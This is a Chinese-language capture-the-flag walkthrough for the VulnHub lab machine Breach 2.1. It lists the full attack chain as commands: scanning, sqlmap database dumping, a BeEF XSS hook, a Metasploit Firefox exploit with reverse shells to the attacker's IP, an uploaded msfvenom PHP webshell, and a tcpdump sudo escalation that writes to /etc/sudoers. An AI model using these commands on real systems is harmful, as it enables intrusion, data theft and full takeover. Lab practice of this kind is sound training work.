虚拟机信息:
虚拟机下载地址:https://www.vulnhub.com/entry/breach-21,159/
虚拟机简介:旨在从初学者到中级 boot2root/CTF 挑战
目标:1个Flag
级别:中级
由于虚拟机配置的IP地址为静态IP,需要把攻击机配置在同网段
nmap -A -sS -sV -v -p- 192.168.110.151
查看开放了三个的端口
ssh 192.168.110.151 -p 65525
提示有账号Peter,密码在源码中
把字符串组合成inthesource作为密码,并通过账号peter登录,会直接断开
ssh [email protected] -p 65535
重新扫描端口,发现80端口已经打开
可以正常访问http服务
使用gobuster爆破目录,发现有blog目录
gobuster dir -u http://192.168.110.151 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .html,.php,.txt
访问blog目录发现为博客站点
使用sqlmap进行自动爬取和测试,提示search参数有注入漏洞
sqlmap --forms --batch --crawl 4 -u http://192.168.110.151/blog/index.php
爆破当前数据库存在的数据库内容
sqlmap -u "http://192.168.110.151/blog/index.php?search=" -dbs
sqlmap -u "http://192.168.110.151/blog/index.php?search=" -dbs -D oscommerce -tables -dump
爆破密码为32admin,但是未找到网站后台
查找该博客的相关漏洞,提示同时存在XSS漏洞,并且根据SSH Banner提示perter会频繁访问站点
searchsploit blogphp
漏洞点在用户注册页面处,使用Beef创建XSS平台
apt install beef-xss
beef-xss
使用Beef生成的Hook脚本填入到用户名位置
等待一会儿发现存在用户上线,发现火狐浏览器版本为15.0存在漏洞
使用MSF生成漏洞利用脚本
use exploit/multi/browser/firefox_proto_crmfrequest
set payload generic/shell_reverse_tcp
set srvhost 192.168.110.100
set uripath shell
set lhost 192.168.110.100
exploit
在beef中调用iframe进行利用
会话已经建立成功
发现每隔5秒会话会自动中断,需要迅速切换反弹shell为meterpreter
use post/multi/manage/shell_to_meterpreter
set session 3
run
shell
python -c 'import pty; pty.spawn("/bin/bash")'
查看网络连接发现有2323端口在运行本地
netstat -tln
查看当前用户信息,发现存在3个账号
ls /home
使用telnet连接端口,提示一个坐标位置,基于坐标进行地图查询发现为休斯顿的地址位置,使用账号milton登录,密码Houston提示问题
查找milton账号所属文件,提示答案为minie
find /usr -user milton
cat /usr/local/bin/cd.py
telnet 127.0.0.1 2323
再次查看网络信息,提示8888端口已经放开
netstat -tln
访问8888端口,显示有2个页面,访问第一个页面会进入CMS中
基于网上搜索,发现站点后台管理页面为/admin,并通过admin作为账号和密码登录成功
文件上传路径为tools--File Manager,在include/work路径下上传木马
使用MSF生成反弹shell木马,并上传到服务器中
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.110.100 LPORT=5555 -f raw -o meterpreter.php
使用MSF创建监听服务
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.110.100
set lport 5555
run
访问木马路径文件,获取到会话
http://192.168.110.151:8888/oscommerce/includes/work/meterpreter.php
发现当前登录用户为:blumbergh
shell
python -c "import pty;pty.spawn('/bin/bash')"
发现可以通过root权限执行tcpdump命令
sudo -l
echo 'echo "blumbergh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /tmp/test && chmod +x /tmp/test
sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/test -Z root
sudo su
cd /root
python .flag.py